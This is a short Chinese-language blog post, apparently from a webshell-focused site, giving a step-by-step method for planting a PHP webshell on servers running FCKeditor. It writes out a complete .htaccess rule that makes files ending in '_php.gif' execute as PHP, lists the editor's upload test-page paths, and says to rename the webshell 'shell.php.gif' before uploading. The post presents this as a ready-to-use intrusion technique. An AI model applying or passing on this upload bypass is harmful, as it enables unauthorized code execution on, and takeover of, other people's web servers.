有些服务器开启了.htaccess文件上传,那么经常碰到fckeditor的就可以利用该文件上传一个phpshell。

1.创建一个.htaccess文件,内容如下:

 

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>

 

 

2.上传shell

https://www.webshell.cc/FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

这是上传地址,然后将你的webshell文件改后缀shell.php.gif

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1483.html